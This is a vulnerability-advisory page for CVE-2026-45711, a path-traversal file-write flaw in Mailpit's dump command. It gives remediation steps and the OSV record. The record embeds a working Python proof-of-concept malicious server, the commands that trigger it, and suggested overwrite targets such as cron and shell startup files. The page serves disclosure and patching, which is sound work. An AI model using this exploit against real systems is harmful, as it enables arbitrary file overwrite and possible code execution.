CVE-2026-45711: Mailpit Path Traversal Vulnerability
MODERATECVE-2026-45711 is a MODERATE (CVSS 5.9) path traversal vulnerability (CWE-829: Inclusion of Functionality from Untrusted Control Sphere) affecting Mailpit libraries in the Go ecosystem. The issue involves path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message ids. Remediation is available by upgrading affected packages to version 1.30.0.
CVE-2026-45711 at a Glance
Security Impact
CVSS: 5.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L).
How to Fix CVE-2026-45711
To remediate this vulnerability, upgrade all affected Mailpit dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/axllent/mailpit to 1.30.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/axllent/mailpit
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-45711, inspect your project dependencies for Mailpit:
inspect dependencies for github.com/axllent/mailpit
Analyze the terminal output to locate any version of Mailpit in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.30.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere, where the product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. In Mailpit, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45711 Affected Mailpit Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/axllent/mailpit
|
Go |
< 1.30.0
|
1.30.0
|
References
Frequently Asked Questions
What is CVE-2026-45711?
Which Mailpit versions are affected?
What version fixes CVE-2026-45711?
Is github.com/axllent/mailpit affected?
What is the CVSS score of CVE-2026-45711?
What CWE is associated with CVE-2026-45711?
How can I check Go dependencies for CVE-2026-45711?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qx5x-85p8-vg4j",
"modified" : "2026-09-02T23:39:39Z",
"published" : "2026-05-19T15:53:09Z",
"aliases" : [ "CVE-2026-45711" ],
"summary" : "Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs",
"details" : "### Summary\nThe mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.\n\n### Details\nAnyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.\n\n### Affected code\n[internal/dump/dump.go](https://github.com/axllent/mailpit/blob/develop/internal/dump/dump.go#L118-L155):\n\npath.Join(\"/safe/out/dir\", \"../../../../etc/cron.d/payload.eml\") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.\n\nThe underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL.\n\n### PoC\n\n1. Run a malicious \"Mailpit\" server that returns one message whose ID contains .. segments:\n\n```python\n# evil-mailpit.py\nimport http.server, json\n\nclass Evil(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n if \"/api/v1/messages\" in self.path:\n resp = {\n \"total\": 1, \"unread\": 0, \"count\": 1,\n \"messages_count\": 1, \"messages_unread\": 0,\n \"start\": 0, \"tags\": [],\n \"messages\": [{\n \"ID\": \"../../../../tmp/mailpit-pwn\", # ← traversal\n \"MessageID\": \"x\", \"Read\": False,\n \"From\": {\"Name\": \"\", \"Address\": \"a@b\"},\n \"To\": [{\"Name\": \"\", \"Address\": \"c@d\"}],\n \"Cc\": None, \"Bcc\": None, \"ReplyTo\": [],\n \"Subject\": \"evil\",\n \"Created\": \"2026-01-01T00:00:00Z\",\n \"Tags\": [], \"Size\": 5,\n \"Attachments\": 0, \"Snippet\": \"\"\n }]\n }\n body = json.dumps(resp).encode()\n ctype = \"application/json\"\n elif \"/raw\" in self.path:\n body = b\"PWNED BY MAILPIT DUMP TRAVERSAL\\n\"\n ctype = \"text/plain\"\n else:\n self.send_response(404); self.end_headers(); return\n\n self.send_response(200)\n self.send_header(\"Content-Type\", ctype)\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\nhttp.server.HTTPServer((\"127.0.0.1\", 19090), Evil).serve_forever()\n```\n\n```\n$ python3 evil-mailpit.py &\n$ mkdir -p /tmp/dump-out\n$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out\n```\n\n2. Observe the file was written outside the requested output directory:\n\n```\n$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml\n/tmp/dump-out/ ← empty\ntotal 0\n-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml\n$ cat /tmp/mailpit-pwn.eml\nPWNED BY MAILPIT DUMP TRAVERSAL\n```\n\nThe same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.\n\n### Impact\nArbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/axllent/mailpit"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.30.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45711"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/axllent/mailpit"
}, {
"type" : "WEB",
"url" : "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-829" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-19T15:53:09Z",
"nvd_published_at" : "2026-07-20T16:17:00Z"
}
}